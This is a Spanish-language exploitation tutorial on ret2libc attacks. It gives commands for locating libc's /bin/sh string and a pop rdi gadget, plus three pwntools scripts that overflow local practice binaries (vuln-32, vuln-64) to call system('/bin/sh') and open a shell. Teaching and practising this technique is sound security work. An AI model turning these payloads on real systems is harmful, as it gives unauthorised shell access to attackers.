Un ataque de ret2libc está basado en la función system que podemos encontrar dentro de la librería libc. Ésta función ejecuta todo lo que se le pasa como argumento, convirtiéndose en un objetivo perfecto.
Otra cosa que se encuentra en el interior de libc es la cadena /bin/sh. Si se le pasa ésta cadena a system como parámetro, obtenemos una shell.
EXPLOTACIÓN MANUAL
Encontrar dirección base de libc
Afortunadamente Linux posee un comando llamado ldd para binarios lincados dinámicamente. Si lo ejecutamos en nuestro archivo ELF, nos dirá qué librerías utiliza y sus direcciones base.
$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh
18c32b /bin/sh
from pwn import *
p = process('./vuln-32')
libc_base = 0xf7dc2000
system = libc_base + 0x44f00
binsh = libc_base + 0x18c32b
payload = b'A' * 76 # The padding
payload += p32(system) # Location of system
payload += p32(0x0) # return pointer - not important once we get the shell
payload += p32(binsh) # pointer to command: /bin/sh
p.clean()
p.sendline(payload)
p.interactive()
$ ROPgadget --binary vuln-64 | grep rdi
[...]
0x00000000004011cb : pop rdi ; ret
from pwn import *
p = process('./vuln-64')
libc_base = 0x7ffff7de5000
system = libc_base + 0x48e20
binsh = libc_base + 0x18a143
POP_RDI = 0x4011cb
payload = b'A' * 72 # The padding
payload += p64(POP_RDI) # gadget -> pop rdi; ret
payload += p64(binsh) # pointer to command: /bin/sh
payload += p64(system) # Location of system
payload += p64(0x0) # return pointer - not important once we get the shell
p.clean()
p.sendline(payload)
p.interactive()
# 32-bit
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
libc = elf.libc # Simply grab the libc it's running with
libc.address = 0xf7dc2000 # Set base address
system = libc.sym['system'] # Grab location of system
binsh = next(libc.search(b'/bin/sh')) # grab string location
payload = b'A' * 76 # The padding
payload += p32(system) # Location of system
payload += p32(0x0) # return pointer - not important once we get the shell
payload += p32(binsh) # pointer to command: /bin/sh
p.clean()
p.sendline(payload)
p.interactive()